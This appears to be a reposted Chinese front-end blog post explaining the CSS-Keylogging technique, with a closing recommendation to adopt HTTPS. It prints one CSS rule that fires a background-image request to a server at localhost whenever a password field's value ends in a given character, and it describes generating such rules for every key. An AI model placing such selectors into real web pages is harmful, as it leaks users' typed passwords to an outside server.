在 github 上閒逛，發現了一個很有趣的項目，叫 CSS-Keylogging，這是一個演示如何用 css 去獲取用戶輸入的密碼的項目，這個項目與一兩個月前的另外一個很火的項目 CrookedStyleSheets 類似，甚至於有可能 CSS-Keylogging 就是受 CrookedStyleSheets 啟發才創建的。
不一樣的 css
說到 css，大多數人的第一印象基本上就是用來配置界面樣式的，甚至於連語言都稱不上，但隨著 web 技術的不停發展，其所具有的能力也與日俱新，不再是當初那個僅僅滿足最基本佈局需求的層疊樣式表了，至於新的屬性新的功能點筆者也瞭解不全，在這裡也不便展開了。
話題回到不一樣的 css 上，github 上 jbtronics 給出了這樣一份答案 CrookedStyleSheets，在這裡筆者直接給上該項目的中文文檔，該文檔上有一段關於輸入監測的段落，請詳細閱讀完，如果早已看過請跳過繼續看本文的後續部分。
css 監聽鍵盤記錄
CSS-Keylogging 項目使用 css 監聽鍵盤記錄的方式一致，基本上是通過 css 選擇器去實現功能，CSS-Keylogging 更為巧妙的使用多重選擇器去捕獲相應的按鍵事件。
核心代碼如下:
input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); }解釋如下：
當 type 為 ‘password’ 的輸入框的輸入的最後一個字符為 ‘1’ 時使用 url 為 http://localhost:3000/1 的背景圖，css 在這種情況下會嘗試進行 get 請求獲取資源，這樣的話，服務端就能接收到來至客戶端發送的 get 請求。
當 value$="1" 時，我們可以監聽用戶輸入 1，那如果我們監聽鍵盤上所有的按鍵字符，那我們是不是就可以監聽用戶的所有按鍵輸入了？答案是可以，該項目使用 go 腳本遍歷 ascii 碼錶，將所有鍵盤可輸入按鍵字符均進行捕獲，生成如下樣式表：
當然也可以用使用 nodejs 去生成樣式表，至今不明白作者為什麼用 node 搭服務器然後用 go 寫腳本。。。有興趣的同學可以將項目 clone 下來跑起來試試。
總結
為了避免有目的性的劫持注入，請儘快升級 https ，預防這種情況的發生，網絡安全無處不在，希望不要選擇性的去忽視它。
出處：MINFIVE（blog.minfive.com/2018/02/23/…） 30s代碼片段翻譯
閱讀更多 前端圈 的文章
